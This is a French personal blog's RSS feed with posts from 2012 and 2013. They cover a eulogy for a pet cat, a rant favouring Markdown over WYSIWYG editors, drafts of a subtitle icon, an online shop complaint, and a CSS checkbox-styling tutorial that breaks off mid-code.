<?xml version="1.0" encoding="UTF-8"?><rss version="2.0">
<channel>
        <title>Nicolas Guilhou</title>
        <description>Nicolas Guilhou</description>
        <link>http://nicolas-guilhou.com/</link>
        <lastBuildDate>aujourd'hui à 11:30</lastBuildDate>
        <pubDate>aujourd'hui à 11:30</pubDate>
       
        <!-- # <T:News> -->                <item>
                        <title>Grüdu</title>
                        <description>&lt;p&gt;Dimanche 28 Juillet au soir tu n'es pas rentré à la maison comme le reste de la troupe. Oh, ça ne nous a pas affolés plus que ça, la chaleur, la nuit, toutes ces choses à chasser, ces trucs et ces bidules après lesquels tu avais l'habitude de courir. Ce n'était pas la première fois que ça t'arrivait de découcher. Nous sommes allés au lit tranquillement, conscients que le bol de croquettes serait plus fort que n'importe quelle souris, comme à l'habitude.&lt;/p&gt;
&lt;p&gt;Le lendemain matin, tu n'étais pas devant la porte-fenêtre à brailler comme un con pour qu'on te laisse rentrer. Nous ne nous sommes pas affolés non plus, tu étais déjà parti pendant trois jours auparavant, ce qui nous avait donné l'occasion d'observer à ton retour la plus fantastique sieste féline de notre vie.&lt;/p&gt;
&lt;p&gt;Ce n'est que le lendemain, mardi, que j'ai commencé à te chercher sérieusement, t'appelant sur le chemin avec la boite de croquettes que tu aimais tant. Un peu inquiet mais pas tant que ça. Je suis allé taper à la porte de notre voisin, à 300 m de là pour voir s'ils ne t'avaient pas aperçu, toi qui avait l'habitude de jouer avec leur chat. Mais personne ce soir là.&lt;/p&gt;
&lt;p&gt;Mercredi je t'ai appelé encore, j'avais encore vérifié les routes environnantes, les fossés mais pas de trace donc pas d'angoisse particulière. Et je suis revenu voir notre voisin. Cette fois-ci j'ai pu lui parler. J'ai commencé à parler de ta petite fugue et je t'ai décrit. Lui ne t'avait pas vu. Puis je lui ai dit que tu portais un collier rouge. Et c'est là que j'ai du comprendre que tu ne reviendrai jamais. Il t'avait vu oui, lundi il ne sait plus à quelle heure, allongé sur le bord de la route, chat tigré au collier rouge, pas loin de là, à cinquante mètres, près des sapinettes.&lt;/p&gt;
&lt;p&gt;J'ai gardé ma dignité quand j'ai entendu ça, j'ai parlé d'Elisa qui allait être très malheureuse, je l'ai remercié, lui s'est excusé pour la mauvaise nouvelle. Et je suis allé voir si tu étais encore là, même s'il m'avait dit que non, ton corps avait disparu. Je suis resté un moment, je t'ai cherché dans le fossé, je t'ai appelé. Et les larmes ont commencé à monter, comme maintenant où je revis cet instant et les suivants.&lt;br /&gt; Je n'ai commencé à sangloter qu'en rentrant chez nous, chez toi, quand ta disparition à commencer à s'imposer dans mon esprit. Je ne voulais pas éclater en pleurs devant tout le monde, devant les amis, devant ma fille, devant May qui faisait et qui fait encore bien meilleure figure que moi dans ces instants.&lt;br /&gt; Mais je n'ai pas pu.&lt;/p&gt;
&lt;p&gt;Ainsi donc, tu es mort écrasé par une de ces voitures qu'on voit passer tous les jours, et c'était peut-être un peu de ta faute toi qui n'avait pas peur de ces engins, toi qui étais tellement amical avec tous les bipèdes à la con que tu rencontrais. Tu t'es fait tuer et ton corps a disparu. Je n'ai pas pu te voir, quel que soit ton état, pour acter définitivement ta mort. Pour pouvoir croire. Et accepter.&lt;/p&gt;
&lt;p&gt;Alors le lendemain je suis parti sur le chemin avec ma boite de croquettes, pour t'appeler. Je suis revenu au dernier endroit où on t'a vu et je t'ai encore cherché dans les fossés. Et j'ai pleuré, comme jamais je n'ai pleuré depuis très longtemps.&lt;br /&gt; Quelque chose, quelqu'un t'a arraché à nous. Tu étais le plus jeune de la troupe, le moins susceptible de nous quitter le premier. Ce n'est pas possible, toujours pas possible dans mon esprit.&lt;/p&gt;
&lt;p&gt;Alors le lendemain je suis parti sur le chemin avec ma boite de croquettes, pour t'appeler. Je suis revenu au dernier endroit où on t'a vu et je t'ai encore cherché dans les fossés. Et j'ai encore pleuré. Je t'ai supplié de revenir mais je savais et je sais que je criais dans le vide.&lt;/p&gt;
&lt;p&gt;Quand on ne croit en rien et surtout plus en Dieu, ce sont des moments terribles. Parce qu'on est irrémédiablement seul, sans présence imaginaire pour nous consoler quelque peu.&lt;br /&gt; Alors je remets ta présence dans les mains de l'Univers ou quelque chose d'approchant en me promettant de ne pas t'oublier, en espérant comme à chaque fois que mes larmes sècheront vite, que la douleur disparaître encore plus vite.&lt;/p&gt;
&lt;p&gt;Nous avons remplacé ton absence depuis hier, ne m'en veut pas c'était trop dur. Neela la petite siamoise est venue compléter notre troupe, notre famille. C'est comme ça qu'on fait quand on ne peut pas avoir d'enfant à soi et qu'on ne peut pas adopter. On prend des animaux pour leur donner de l'amour.&lt;br /&gt; Et quand ils s'en vont c'est aussi le drame.&lt;/p&gt;
&lt;p&gt;Mon pauvre Grüdu, je t'aime. Je ne t'oublierai pas.&lt;/p&gt;
&lt;figure&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/grudu.png&quot; alt=&quot;image&quot; /&gt; &lt;figcaption&gt;In memoriam&lt;/figcaption&gt;&lt;/figure&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2013/08/07/Grudu</link>
                        <guid>NEWS-24</guid>
                        <pubDate>Wed, 07 Aug 2013 11:49:20 +0200</pubDate>
                </item>
                        <item>
                        <title>Brûlons les « traitements de texte » embarqués</title>
                        <description>&lt;p&gt;Je me suis retenu très longtemps d'écrire cet article mais il arrive un moment où il faut poser les choses. Comme d'habitude cet article va s'attaquer à l'«&amp;nbsp;usage par généralité&amp;nbsp;» et ses tristes conséquences.&lt;/p&gt;
&lt;h4&gt;Et Microsoft créa Word, et le peuple vit que c'était bon&lt;/h4&gt;
&lt;p&gt;J'ai essayé d'écrire et de ré-écrire ce paragraphe plusieurs fois sans succès.&lt;br /&gt; Parce qu'il s'agit d'être plus ou moins accessible à tout le monde et de non plus pas trop vulgariser pour maintenir un soupçon d'élitisme.&lt;br /&gt; Pouf, pouf.&lt;br /&gt; De même j'ai cherché des publications sur ce sujet dans les interwebs et il apparaît que nenni. Le plus dur dans cet exercice est d'avoir raison parce que c'est le cas tout en empêchant les types qui ont tord de pouvoir te le reprocher. Et si possible, les faire chier au-delà de toute convenance.&lt;/p&gt;
&lt;p&gt;Avant de parler de Word, qui est une partie du problème, il nous faut parler même si c'est de façon plus ou moins superficielle de l'ihm d'un système d'exploitation.&lt;/p&gt;
&lt;p&gt;Basiquement, très basiquement.&lt;/p&gt;
&lt;p&gt;Si on prend un OS et ses applications, et que l'un et les autres pour effectuer les mêmes actions situent au même endroit les susdites actions, &lt;em&gt;tout le temps&lt;/em&gt;, avec pour toute action possible avec ton mulot &lt;em&gt;un seul&lt;/em&gt; raccourci clavier que tu affiches &lt;em&gt;tout le temps&lt;/em&gt; (pas deux, ou trois, &lt;strong&gt;un&lt;/strong&gt;), il y a une chance non négligeable pour que ton utilisateur au bout d'une semaine (ou plus, ne soyons pas trop optimiste) assimile le fait qu'à une action au mulot correspond un raccourci clavier. Et il y a une chance non négligeable pour que ton utilisateur s'en serve. Parce que rien ne va plus vite qu'un raccourci clavier. Tu peux ergoter, argumenter tant que tu veux, &lt;em&gt;rien ne va plus vite&lt;/em&gt;.&lt;br /&gt; À ce moment de l'article je suis sensé faire des comparaisons vexantes entre systèmes d'exploitation. Mais comme ce n'est pas vraiment le sujet et ça prend énormément de temps et d'énergie juste pour démontrer l'évidence…&lt;/p&gt;
&lt;p&gt;Donc.&lt;/p&gt;
&lt;p&gt;Le fait que Word ait été popularisé par Microsoft explique pas mal de choses. On peut se moquer des «&amp;nbsp;rubans&amp;nbsp;» de Word, on doit même, mais si on comprend comment et pourquoi les types ont fait de Windows ce qu'il est, on comprend Word — même si on y arrive pas avant d'avoir lu cinq bouquins très épais sur le sujet.&lt;br /&gt; Du coup on voit pourquoi les types comprennent mieux un pictogramme de disquette pour enregistrer un document plutôt qu'un bête, tout aussi efficace et plus rapide ctrl-S / ⌘-S. Parce qu'en étant con et en faisant n'importe quoi on a enseigné à l'utilisateur final les mauvaises pratiques, les mauvais réflexes. D'autres types t'expliquent pourquoi on fait pas mieux qu'un pictogramme de disquette pour déclencher l'action d'enregistrement.&lt;br /&gt; Après ça tu peux faire des confs sur les pictogrammes, parler d'universalité —&amp;nbsp;qui n'existe que dans de très rares cas, le reste étant une espèce d'universalité due à l'«&amp;nbsp;usage par généralité&amp;nbsp;» ce qui n'a strictement rien à voir&amp;nbsp;— et te sentir &lt;em&gt;obligé&lt;/em&gt; de parler de ce putain de pictogramme qui ne veut plus rien dire.&lt;br /&gt; Je sais je fais une fixette mais c'est un cas d'école.&lt;/p&gt;
&lt;p&gt;Or, comme il se trouve que les gars de chez Microsoft sont mauvais dans tout ce qu'il font —&amp;nbsp;non pas tous, &lt;strong&gt;juste les chefs&lt;/strong&gt;&amp;nbsp;— ils se sont dit que ce serait bien plus malin d'afficher des boutons pour &lt;em&gt;toutes&lt;/em&gt; les actions standards que tu peux effectuer dans leur traitement de texte. Que tu te sentes obligé de concevoir une ou plusieurs palettes pour certaines tâches, celles pour lesquelles tu as du mal à fixer un raccourci clavier qui soit homogène sur tout un système, je veux bien. Mais pour tout ? Même pour annuler/rétablir&amp;nbsp;? Sérieux&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;Ainsi donc, Word existe.&lt;br /&gt; Et sans lui ce serait la fin du Monde et plus localement la mort du métier de secrétaire. Et nous voilà avec des générations d'utilisateurs qui ne &lt;em&gt;comprennent pas&lt;/em&gt; que ce qu'ils utilisent tous les jours est lent, contre-productif et globalement tellement mal branlé que j'en ai les yeux qui saignent chaque fois que je vois une capture d'écran de Word. Ne riez pas, utilisateurs d'Excel et Powerpoint.&lt;/p&gt;
&lt;p&gt;Du coup tu peux vendre des formations tellement c'est nul.&lt;/p&gt;
&lt;h4&gt;Et les autres se dirent que c'était une super idée&lt;/h4&gt;
&lt;p&gt;Dans le monde des webapps et plus habituellement dans le monde des blogs les rédacteurs rédigent du texte.&lt;br /&gt; Et dans leur mansuétude, les gens derrière Wordpress et quelques autres vous infligent (je dis vous, parce que moi ça va, ça fait longtemps que j'ai arrêté) des interfaces à la Word. Pensant que c'est la top solution.&lt;br /&gt; Une interface de rédaction, une interface à la Word et démerde-toi. Tu veux faire du gras, démerde-toi à trouver le pictogramme, pareil pour l'italique, les titres, citations…&lt;br /&gt; Alors que normalement qu'est-ce qu'on veut, hmmm ? &lt;strong&gt;RÉDIGER DU TEXTE BORDEL&lt;/strong&gt;&lt;br /&gt; Pas chercher un pictogramme, se battre avec un JS qui a planté ta jolie interface TinyMCE ou mieux une implémentation de ce joyeux bordel qui ne fonctionne pas dans ton navigateur (si, c'est possible). Le «&amp;nbsp;traitement de texte&amp;nbsp;» via un navigateur pose des problèmes plus particuliers qu'une application native, j'y reviendrai.&lt;/p&gt;
&lt;h4&gt;Un jour on inventa l'éducation&lt;/h4&gt;
&lt;p&gt;Il n'y a rien de mieux que de savoir et de comprendre ce qu'on fait, au moment où on le fait. En gros quoi.&lt;br /&gt; Et notre rôle —&amp;nbsp;à nous concepteurs&amp;nbsp;— est, avant d'être un poil feignants, d'éduquer correctement nos utilisateurs. Je parle d'utilisateurs dans un premier temps, pas de clients, mais les deux ne sont pas incompatibles. Et c'est là qu'interviennent les extraordinaires formats de texte structuré que sont &lt;a href=&quot;http://daringfireball.net/projects/markdown/&quot;&gt;Markdown&lt;/a&gt; et &lt;a href=&quot;http://textile.thresholdstate.com&quot;&gt;Textile&lt;/a&gt;. Je vous laisse découvrir les deux bidules en question, mais sachez que Markdown a été créé par John Gruber qui est &lt;em&gt;tout&lt;/em&gt; sauf un con. On peut donc sentir assez vite la pertinence de la démarche.&lt;/p&gt;
&lt;p&gt;Nous voilà donc avec des systèmes très semblables de «&amp;nbsp;markup&amp;nbsp;» et l'obligation d'éduquer nos utilisateurs plutôt que d'empiler une série de pictogrammes idiots, tout ça pour que monsieur lambda ne soit pas trop dépaysé de son Word chéri.&lt;/p&gt;
&lt;p&gt;C'est là que tu écris le chapitre pour expliquer que c'est précisément comme ça que travaillent déjà sans le savoir beaucoup d'utilisateurs professionnels mais non sophistiqués de traitements de texte; plein ont même été &lt;em&gt;formés&lt;/em&gt; à ça&amp;nbsp;: comme une machine à écrire modale (je tape du texte, je tape le raccourci pour passer en mode gras, je tape le texte en gras, je retape le raccourci pour sortir du mode gras, je continue…).&lt;/p&gt;
&lt;p&gt;Les formats de texte structurés appliquent ce modèle d'interaction depuis la nuit des temps, en y ajoutant la visibilité du changement de mode, la lisibilité en affichage dégradé et une structure syntaxique exploitable tant pour le formatage (usages actuels) que pour la gestion de documents longs, telles les publications en &lt;a href=&quot;http://docutils.sourceforge.net/mirror/setext/setext_concepts_Aug92.etx.txt&quot;&gt;Setext&lt;/a&gt; des années 90, dont les lecteurs assidus disposaient d'afficheurs sophistiqués gérant bibliothèques de documents, tables des matières, chapitres, rappel de liens en bas de page etc., tout cela à partir d'un contenu lui-même parfaitement lisible en texte brut et surtout, &lt;em&gt;surtout&lt;/em&gt;, sans attendre des rédacteurs la maîtrise des concepts de plan/structure/feuille de style.&lt;/p&gt;
&lt;p&gt;Cet effet de bord est d'ailleurs encore plus important que la question d'implémenter un outil de saisie&amp;nbsp;: la saisie en texte formaté non seulement réduit la complexité programmatique de l'éditeur et de l'afficheur minimaux, mais a en plus prouvé par le passé qu'elle court-circuite la question non résolue à ce jour de la compétence des utilisateurs de traitements de texte. Tout rédacteur de niveau machine à écrire était capable sans effort de fournir du setext homogène et sémantique sans le savoir, alors qu'on a toujours du mal à en trouver 1 sur 100 qui en fasse autant avec son «&amp;nbsp;traitement de texte&amp;nbsp;» préféré.&lt;/p&gt;
&lt;p&gt;Exercice de chierie amusante :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;explique à ta maman le rapport entre le mode plan de Word et les feuilles de style.&lt;/li&gt;
&lt;li&gt;explique à ton papa un minimum de syntaxe Markdown/Textile/Setext.&lt;/li&gt;
&lt;li&gt;reviens dans une semaine et compare leurs productions.&lt;/li&gt;
&lt;li&gt;T'as vu? J'ai raison ou j'ai raison?&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Interfaçons ça rend moins con&lt;/h4&gt;
&lt;p&gt;Donc que faut-il pour que le Monde aille mieux et &lt;em&gt;surtout&lt;/em&gt; arrêter de prendre l'utilisateur final pour un âne ?&lt;br /&gt; Autre chose. Quelque chose qui marche, qui rende le rédacteur plus libre, plus rapide, et en plus quelque chose qui soit, allez soyons fous, gratifiant. Quitte à devoir lui demander un tout petit effort au départ, celui de juste regarder comment on fait pour écrire un titre par exemple. Passé le troisième essai ton utilisateur n'y pensera même plus et le fera le plus naturellement du monde. Sans cliquer sur un pictogramme. Ni même dérouler une liste de styles parfaitement débile.&lt;/p&gt;
&lt;p&gt;En gros, l'interface idéale pour un «&amp;nbsp;traitement de texte&amp;nbsp;» embarqué comprend deux boutons : «&amp;nbsp;ok&amp;nbsp;» et « annuler&amp;nbsp;». C'est largement suffisant et tout le monde comprend, même les castors lapons à condition de les traduire dans la langue idoine.&lt;/p&gt;
&lt;p&gt;Et là, je te vois arriver et me dire :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alors tu la ramènes moins ta grande gueule et tes grands principes sur les raccourcis clavier homogènes alors qu'on est dans Firefox, hein ?&lt;br /&gt; Alors on va mettre des pictogrammes partout et faire comme Word parce que paf ça marche. Pauv' tâche…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En gros.&lt;/p&gt;
&lt;p&gt;Les gars de chez Textpattern ont presque fait l'interface de rédaction ultime. Un champ texte, point barre. Et une liste de commandes disponibles à côté.&lt;br /&gt; Dans le cas qui nous intéresse, celui qui s'adresse au plus grand nombre, c'est un peu trop «&amp;nbsp;sec&amp;nbsp;». Il faut être plus pédagogue si on veut que monsieur Lambda ne s'enfuit pas à toutes jambes en nous traitant d'informaticien.&lt;/p&gt;
&lt;p&gt;Schématiquement, à quoi pourrait ressembler l'interface d'un bidule pareil ?&lt;/p&gt;
&lt;figure&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/text-editor.png&quot; title=&quot;Compositeur de texte&quot; alt=&quot;compositeur de texte&quot; /&gt; &lt;figcaption&gt;Éditeur possible&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Le but est de laisser en permanence sous les yeux du rédacteur les commandes les plus usitées (dans son contexte de rédaction). Passées les quelques heures d'apprentissage, l'utilisateur n'aura même plus besoin de regarder cette aide et pourra se concentrer sur ce qu'il fait&amp;nbsp;: rédiger.&lt;br /&gt; Bien entendu on peut étoffer la chose en mettant des liens d'aide, des accordéons ou autres pour accéder à la totalité des commandes, et mettre une chtite croix de fermeture pour virer le volet d'aide à la rédaction parce qu'au bout d'une semaine l'utilisateur n'en aura absolument plus besoin.&lt;br /&gt; Au passage, t'as vu le nombre de boutons et de pictogrammes ?&lt;/p&gt;
&lt;h4&gt;Oui mais alors le client hein ?&lt;/h4&gt;
&lt;p&gt;Alores là on s'attaque au gros morceau. On va m'objecter que le blogueur, le client, le prospect (que c'est laid), il va être paumé. Il va rejeter. Ça ressemble pas à Word. Ils sont où les boutons ?&lt;br /&gt; Eh bien je pense qu'il est temps de faire œuvre de pédagogie, de conviction. Au lieu d'intégrer des bouzins plantogènes, mal foutus, et tellement utilisables que ton fameux prospect trouve que c'est plus pratique de rédiger son texte dans Word et de le copier/coller dans ton TinyMCE.&lt;/p&gt;
&lt;p&gt;Quand ton blogueur, ton client, ton je-ne-sais-quoi en vient à faire ça c'est que &lt;em&gt;clairement&lt;/em&gt; il y a quelque chose qui merde. Et c'est toute cette «&amp;nbsp;interface&amp;nbsp;» qui merde.&lt;br /&gt; C'est ton rôle de concepteur, de pédagogue que tu as raté. Parce que mon métier, ton métier peut-être&amp;nbsp;? ne se limite pas à utiliser bootstrap.js, Wordpress, modernizr.js, jquery ou que sais-je encore, à savoir coller des dégradés CSS partout où c'est possible et à débugger du code pour IE6. Liste non exhaustive bien entendu.&lt;/p&gt;
&lt;p&gt;Mon métier, en plus de tout ce que je viens d'énumérer, c'est d'essayer de changer les usages. Parce que les usages en cours sont mauvais. Et on peut parfaitement parler à un client, l'éduquer, sans lui prendre plus de temps que d'habitude. Il s'agit juste de s'y mettre. Et si ça se trouve, un jour, il te remerciera.&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/11/07/Brulons_les-traitements_de_texte-embarques</link>
                        <guid>NEWS-23</guid>
                        <pubDate>Wed, 07 Nov 2012 10:49:12 +0100</pubDate>
                </item>
                        <item>
                        <title>Discussion sur l'icône de sous-titrage</title>
                        <description>&lt;p&gt;Ceci est un article sur ces &lt;a href=&quot;http://nicolas-guilhou.com/news/2012/10/19/Icone_de_sous-titrage_3&quot;&gt;icônes&lt;/a&gt; et &lt;a href=&quot;http://nicolas-guilhou.com/news/2012/10/19/Le_retour_de_l-icone_de_sous-titrage-certainement_pas_le_dernier&quot;&gt;cette icône.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#xaviermd, toujours à la pointe du capillo-tractage et autres pratiques associées me parlait d'une icône de sous-titrage présente sur certains (anciens ?) postes de télévision de marque Philips. Parle ensuite des icônes présentes sur sa télécommande. Moi aussi j'ai une télécommande.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/tv.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Et pour sous-titrage, je peux considérer que j'ai trois choix (en réalité non). J'ai donc à ma disposition AD (audio description) et SUBT (subtitles). Je vois pas l'universalité. Audio description ET sous-titres relèvent du même procédé, sous-titrer une vidéo. L'un étant beaucoup plus descriptif que l'autre.&lt;/p&gt;
&lt;p&gt;Il n'y a, à mon avis, pas qu'un problème d'icône. Il y a un problème d'interface. JE vais pas aller en profondeur sur ce sujet, mais si j'appuie sur un bouton unique je devrais avoir à l'écran une possibilité de bascule entre l'un et l'autre. Mieux que de multiplier les boutons sur un pauvre truc qui commence à ressembler à une batte de base-ball (par la taille).&lt;/p&gt;
&lt;p&gt;Là je parle de télévision, mais la transposition marche sur nos écrans d'ordinateur.&lt;/p&gt;
&lt;p&gt;Discutons.&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/10/19/Discussion_sur_l-icone_de_sous-titrage</link>
                        <guid>NEWS-14</guid>
                        <pubDate>Fri, 19 Oct 2012 12:20:45 +0200</pubDate>
                </item>
                        <item>
                        <title>Le retour de l'icône de sous-titrage (certainement pas le dernier)</title>
                        <description>&lt;p&gt;Rappel des faits : #CSA qui fait la demande d'une icône pour le sous-titrage. Moi je comprends #CSA = France. Donc je ponds un &lt;a href=&quot;http://nicolas-guilhou.com/news/2012/10/19/Icone_de_sous-titrage_3&quot; title=&quot;Icône de sous-titrage&quot;&gt;draft ici&lt;/a&gt;. On me dit dans le poste, essentiellement sur Twitter et Gtalk, oui d'accord, #CSA, mais on veut un truc UNIVERSEL, que même un castor lapon pourra comprendre. Ou un journaliste :D.&lt;/p&gt;
&lt;p&gt;Bref.&lt;/p&gt;
&lt;p&gt;On fait un deuxième essai ? J''essaie d'être universel hein.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/subtitle3.svg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Je suis SÛR que je vais faire une tétra chiée de drafts&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/10/19/Le_retour_de_l-icone_de_sous-titrage-certainement_pas_le_dernier</link>
                        <guid>NEWS-12</guid>
                        <pubDate>Fri, 19 Oct 2012 12:03:56 +0200</pubDate>
                </item>
                        <item>
                        <title>Icône de sous-titrage</title>
                        <description>&lt;p&gt;Après une nuit presque blanche pour cause de tempête, repartir &quot;de bon matin&quot; sur mon interface d'administration en flex-box est un peu dur pour la marmelade velouté qui me tient lieu de cerveau. Manque de bol, levé trop tard pour suivre la conf matinale de #ParisWeb sur les icônes.&lt;/p&gt;
&lt;p&gt;J'ai juste capté que le CSA a besoin d'une icône de sous-titrage. Qu'à cela ne tienne. Allez, on dit qu'on fait vraiment dans le symbolique; et j'ai comme l'impression que personne ne va comprendre d'emblée, à moins de faire une campagne de matraquage digne d'Universal.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/subtitle1.svg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mouais, ça peut se travailler, faut voir.&lt;/p&gt;
&lt;p&gt;Disons qu'on cherche à être plus direct. Perso, ça fait des années qu'à la télé quand des sous-titres sont dispos je vois ce sigle : &quot;S/T&quot; . Et j'ai tendance à comprendre ce qu'il dit. Alors pourquoi ne pas s'en servir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://nicolas-guilhou.com/img-articles/subtitle2.svg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;C'est un premier jet, je suis sûr qu'on peut le retravailler. Mais ne rêvons pas, dans le domaine des icônes on ne peut pas tout le temps se servir d'abstractions. Il faut parfois être direct.&lt;/p&gt;
&lt;p&gt;Bonne nuit les p'tis loups&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/10/19/Icone_de_sous-titrage</link>
                        <guid>NEWS-11</guid>
                        <pubDate>Fri, 19 Oct 2012 11:17:47 +0200</pubDate>
                </item>
                        <item>
                        <title>La Maison du Pastis</title>
                        <description>&lt;p&gt;Quand je suis content d’un truc je le dis, autant quand c’est de la merde je me gêne pas non plus. Aujourd’hui mes petits amis je vais vous parler de &lt;a href=&quot;http://www.lamaisondupastis.com&quot;&gt;La maison du Pastis&lt;/a&gt;.&lt;br /&gt; Soyons clair je ne vais même pas m’attarder sur la qualité des produits vendus, pour qui aime le pastis elle est tout bonnement exceptionnelle. J’ai découvert cette boisson grâce à eux, jusque là je trouvais que les Pastis 51 et consors relevaient de la pire torture gustative. Mes petits amis, le pastis de “La maison du Pastis” c’est du bonheur en bouteille, à déguster aux heures chaudes, bien glacé et surtout bien dosé, pas question de faire un “misérable”.&lt;/p&gt;
&lt;p&gt;Bref.&lt;/p&gt;
&lt;p&gt;Je suis fan.&lt;/p&gt;
&lt;p&gt;Si vous visitez ce superbe (sic) site, vous remarquerez que point n’est besoin de se déplacer à Marseille pour profiter de ces douceurs, il y a “Catalogue et vente sécurisée” à votre disposition. J’ai pas de bol, à l’heure où j’écris cet article la boutique sécurisée (huhu) est en carafe complet.&lt;br /&gt; À ce sujet ma douce et tendre me dit en régie que cette boutique semble plus souvent tomber en marche qu’autre chose.&lt;/p&gt;
&lt;p&gt;Bref.&lt;/p&gt;
&lt;p&gt;Si vous avez la chance de tomber sur le créneau horaire où la boutique tombe en marche, vous pouvez commander du pastis. Avec l’assurance d’être livré en 48h. Putain con, je commande. Vite. Avant que la boutique retourne à son état initial.&lt;/p&gt;
&lt;p&gt;15 jours plus tard (48h en marseillais) ma factrice toque à ma porte. Quand elle toque à ma porte c’est que c’est &lt;span class=&quot;caps&quot;&gt;LRAR&lt;/span&gt; ou colis. Et vu que côté recos j’ai ce qu’il faut merci, je me suis dit que j’ai bien fait de patienter 48h avant de tout péter.&lt;br /&gt; Las, en guise de colis je vois ma factrice un sac poubelle fermé à sa main. Je vous passe les détails. Bouteille en mille morceaux. Je pense que dans l’urgence, 48h c’est court, les joyeux et diligents employés de “La maison du Pastis” ont oublié de mettre du rembourrage dans un colis inadapté au transport des bouteille. Je peux les comprendre, le rush tout ça.&lt;/p&gt;
&lt;p&gt;Je plains surtout ma factrice qui déteste l’anis et qui se trimballe aujourd’hui avec une bagnole qui pue le taga à 20 mètres avec 34° dehors.&lt;/p&gt;
&lt;p&gt;Je pense que d’ici 48h je devrais avoir des nouvelles. C’est con que Noël se prête moyennement à la conso de boissons glacées. J’ai mes habitudes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nota&lt;/strong&gt;&lt;br /&gt; Comme c’est mon métier, j’ai jeté un coup d’œil sur le code source du site. Tout s’éclaire maintenant.&lt;/p&gt;</description>
                        <link>http://nicolas-guilhou.com/news/2012/08/23/La_Maison_du_Pastis</link>
                        <guid>NEWS-8</guid>
                        <pubDate>Thu, 23 Aug 2012 14:44:59 +0200</pubDate>
                </item>
                        <item>
                        <title>Styler les checkboxes sans monoculture… ou presque</title>
                        <description>&lt;p&gt;Comme vous l’avez sans doute remarqué, habiller des éléments de formulaire en &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; peut vite virer au cauchemar, même si on s’enlève une épine du pied en éliminant Internet Explorer.&lt;br /&gt; On peut passer par des plugins JQuery ou autres, c’est bien mais pas top, surtout pour quelques malheureux éléments de formulaire.&lt;/p&gt;
&lt;p&gt;Donc, stylons des checkbox. &lt;span class=&quot;caps&quot;&gt;HTML&lt;/span&gt;, simple :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-html&quot;&gt;&amp;lt;div class=&quot;test&quot;&amp;gt;
  &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; checked name=&quot;yaka&quot; value=&quot;&quot; id=&quot;yaka&quot;&amp;gt;&amp;lt;label for=&quot;yaka&quot;&amp;gt;Activer les propulseurs supraluminiques&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;yapuka&quot; value=&quot;&quot; id=&quot;yapuka&quot;&amp;gt;&amp;lt;label for=&quot;yapuka&quot;&amp;gt;Voir le hanneton glouton de Tron&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;
  &amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; disabled name=&quot;ifokon&quot; value=&quot;&quot; id=&quot;ifokon&quot;&amp;gt;&amp;lt;label for=&quot;ifokon&quot;&amp;gt;Oui, mais en fait non&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Moi je suis un garçon bien élevé, je suis les règles, et comme des fois elles sont floues ben je me trompe. Par exemple, qui de Webkit et de Gecko a raison en autorisant/interdisant les pseudo éléments :before et :after sur les éléments de formulaires. Je ne sais ni. Je suis designer et ce que je constate c’est que Webkit les autorise, pas Gecko. Point. Mais vous pouvez m’éclairer dans les commentaires hein.&lt;br /&gt; Donc on ne peut pas écrire input:before ou input:after pour Gecko. Ça le laisse de marbre.&lt;/p&gt;
&lt;p&gt;Si on y réfléchit bien, les checkbox se baladent pas comme ça sur une page, elles sont souvent – que dis-je, toujours – accompagnées d’un label. Et puisque cette satanée checbox ne veut rien entendre sur Gecko ben je vais causer à son copain le label.&lt;/p&gt;
&lt;p&gt;Discussion &lt;span class=&quot;caps&quot;&gt;CSS&lt;/span&gt; intégrale :&lt;/p&gt;
&lt;pre class=&quot;prettyprint lang-css&quot;&gt;.test input {
  position: relative;
  vertical-align: middle;
  margin-left: 8px;
  display: none;
}

.test label {
  margin-left: 40px;
  position: relative;
}

.test p {
  height: 32px;
}

.test input:checked+label:before {
  background-color: hsl(119, 23%, 57%);
}

.test input:checked+label:after {
  left: -20px;
}

.test label:before {
  content: &quot;&quot;;
  position: absolute;
  top: 0;
  left: -28px;
  display: block;
  width: 28px;
  height: 16px;
  background-color: #e6703a;
  border-radius: 10px;
  margin-top: 0;
  margin-left: -6px;
  border: 2px solid hsl(0, 0%, 77%);
  box-shadow: inset 0 1px 3px hsla(0, 0%, 26%, 0.65);
}

.test label:after {
  content: &quot;&quot;;
  display: block;
  width: 16px;
  height: 16px;
  border-radius: 14px;
  background-color: #f5f5f5;
  box-shadow: 0 1px 5px #444;
  position: absolute;
  top: 2px;
  left: -32px;
  -webkit-transition: left .3s ease-in-out;
  -moz-transition: left .3s ease-in-out;
  -o-transition: left .3s ease-in-out;
